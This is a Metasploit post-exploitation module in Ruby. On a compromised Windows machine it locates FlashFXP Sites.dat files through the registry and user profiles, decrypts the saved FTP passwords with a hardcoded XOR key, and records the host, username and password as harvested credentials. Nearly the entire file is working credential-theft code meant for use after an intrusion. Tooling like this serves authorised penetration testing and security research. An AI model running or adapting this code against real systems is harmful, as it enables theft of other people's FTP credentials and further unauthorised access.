##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
        'Description' => %q{
          This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
          finds saved FTP connections in the Sites.dat file.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'theLightCosine'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
            ]
          }
        }
      )
    )
  end

  def run
    # Checks if the Site data is stored in a generic location  for all users
    flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'
    flash_reg_ver = registry_enumkeys(flash_reg.to_s)

    # Ini paths
    @fxppaths = []

    unless flash_reg_ver.nil?
      software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
      generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''
      unless generic_path.include? '%APPDATA%'
        @fxppaths << generic_path + '\\Sites.dat'
      end
    end

    grab_user_profiles.each do |user|
      next if user['AppData'].nil?

      tmpath = user['AppData'] + '\\FlashFXP\\'
      get_ver_dirs(tmpath)
    end

    @fxppaths.each do |fxp|
      get_ini(fxp)
    end
  end

  def get_ver_dirs(path)
    session.fs.dir.foreach(path) do |sub|
      next if sub =~ /^(\.|\.\.)$/

      @fxppaths << "#{path}#{sub}\\Sites.dat"
    end
  rescue StandardError
    print_error("The following path could not be accessed or does not exist: #{path}")
  end

  def get_ini(filename)
    config = client.fs.file.new(filename, 'r')
    parse = config.read
    ini = Rex::Parser::Ini.from_s(parse)

    if ini == {}
      print_error("Unable to parse file, may be encrypted using external password: #{filename}")
    end

    ini.each_key do |group|
      host = ini[group]['IP']
      username = ini[group]['user']
      epass = ini[group]['pass']
      port = ini[group]['port']
      next if epass.nil? || (epass == '')

      passwd = decrypt(epass)

      print_good("*** Host: #{host} Port: #{port} User: #{username}  Password: #{passwd} ***")
      service_data = {
        address: Rex::Socket.getaddress(host),
        port: port,
        protocol: 'tcp',
        service_name: 'ftp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: username,
        private_data: passwd,
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
    end
  rescue StandardError
    print_status("Either could not find or could not open file #{filename}")
  end

  def decrypt(pwd)
    key = 'yA36zA48dEhfrvghGRg57h5UlDv3'
    pass = ''
    cipher = [pwd].pack('H*')

    (0..cipher.length - 2).each do |index|
      xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first
      if ((xored - cipher[index, 1].unpack('C').first < 0))
        xored += 255
      end
      pass << (xored - cipher[index, 1].unpack('C').first).chr
    end
    return pass
  end
end
